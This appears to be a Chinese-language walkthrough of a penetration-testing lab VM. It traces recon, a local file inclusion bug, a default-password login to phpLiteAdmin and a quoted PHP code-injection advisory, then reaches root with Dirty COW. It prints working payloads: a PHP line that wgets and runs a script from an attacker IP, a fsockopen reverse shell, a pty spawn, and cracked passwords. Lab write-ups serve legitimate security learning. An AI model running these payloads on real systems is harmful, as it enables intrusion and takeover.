信息收集
主机发现
nmap -sV
目标IP地址为192.168.133.134.
端口扫描
利用masscan:
masscan --rate=10000 --port 0-65535 192.168.133.134
使用nmap探测版本等信息:
探测CMS
使用whatweb:
目录扫描
漏洞发现
发现此页面的url中page变量的值为一个html文件,直接访问tools.html:
可以直接访问,猜测使用了文件包含,可能存在文件包含漏洞。
手工进行尝试:
存在文件包含漏洞。
漏洞利用
在目录扫描中,发现存在dbadmin(db–数据库?admin–熟悉的admin),
访问:
打开php文件:
数据库登录页面,并给出了版本信息。
尝试使用弱密码登录:
使用admin登录成功:
获得了两个用户的信息:
解密,最后的对应关系为:
root–34kroot34
zico–zico2215@
尝试ssh远程登录:
失败。
使用searchsploit:
查看txt内容(直接翻译):
#漏洞标题:phpliteadmin<=1.9.3远程PHP代码注入漏洞
#谷歌怪人:inurl:phpliteadmin.php文件(默认密码:admin)
#日期:2013年10月1日
#利用作者:L@usch公司- http://la.usch.io-http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
#供应商主页:http://code.google.com/p/phpliteadmin/
#供应商状态:通知
#软件链接:http://phpliteadmin.googlecode.com/files/phpliteadmin\u v1-9-3.zip
#版本:1.9.3
#测试环境:Windows和Linux
说明:
phpliteadmin.php#1784:'创建新数据库'=>
phpliteadmin.php#1785:'创建新数据库时,如果您自己不包括该数据库,则输入的名称将附加相应的文件扩展名(.db、.db3、.sqlite等)。数据库将在指定为$directory变量的目录中创建。“,
攻击者可以使用php扩展创建sqlite数据库,并将php代码作为文本字段插入。完成后,攻击者只需使用Webbrowser访问数据库文件即可执行该操作。
概念证明:
1我们创建了一个名为“黑客.php".
(取决于服务器配置,有时它将不起作用,数据库的名称将为“黑客.sqlite". 然后尝试将数据库/现有数据库重命名为“黑客.php".)
脚本将sqlite数据库存储在phpliteadmin.php文件.
预览:http://goo.gl/B5n9O
十六进制预览:http://goo.gl/lJ5iQ
2现在在此数据库中创建一个新表,并插入一个具有默认值的文本字段:
<?php phpinfo()?>
十六进制预览:http://goo.gl/v7USQ
三。现在我们跑黑客.php
多恩
根据内容,进行测试:
插入phpinfo:
通过文件包含漏洞进行本地包含:
返回phpinfo信息,查看配置,并没有开启远程包含。
写入远程下载命令,下载shell脚本:
<?php system("wget IP地址/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
-O 输出到指定目录。
输出到/tmp目录,原因是该目录所需权限较低。
shell.txt内容为:
<?php $sock=fsockopen("IP地址",监听端口);exec("/bin/sh -i <&3 >&3 2>&3")?>
如果直接在数据库中插入该语句进行反弹shell,连接失败:
所以通过远程下载。
先创建shell.txt文件:
开启http服务。
插入:
<?php system("wget IP地址/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
进行本地包含,并进行监听:
成功返回shell。
提权
之前通过数据库获得了root用户的密码,尝试进行提权。
这里必须要开启一个终端。
使用python,开启终端:
python -c 'import pty; pty.spawn("/bin/bash")';
提权失败:
使用脏牛进行提权。
1.远程下载脏牛脚本文件:
发现下载失败。
查看权限:
给予权限:
进入到tmp目录下:
下载成功:
进行编译,并运行:
gcc -pthread dirty.c -o exp -lcrypt //exp为输出文件名(固定格式)
设置密码为123(任意)。
提权成功。
总结
在发现可能存在文件包含漏洞时,在验证漏洞方面还要加强。
学到了利用searchsploit进行漏洞利用。
在提权时,/tmp目录的使用要加强。
脏牛提权成功后,要恢复原来的/etc/passwd。